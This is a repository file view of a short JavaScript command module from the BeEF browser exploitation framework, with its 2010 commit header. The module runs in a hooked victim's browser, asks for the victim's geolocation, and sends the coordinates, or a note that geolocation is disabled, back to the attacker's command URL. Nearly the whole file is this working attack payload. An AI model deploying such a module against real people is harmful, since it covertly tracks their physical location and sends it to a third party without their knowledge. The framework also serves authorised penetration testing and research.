Files
beef/modules/commands/host/physical_location/physical_location.js
antisnatchor 313fec27b5 added geolocation detection (first draft)
git-svn-id: https://beef.googlecode.com/svn/trunk@520 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2010-11-13 17:08:30 +00:00

10 lines
302 B
JavaScript

beef.execute(function() {
if(beef.geolocation.isGeolocationEnabled()){
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
}else{
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
}
});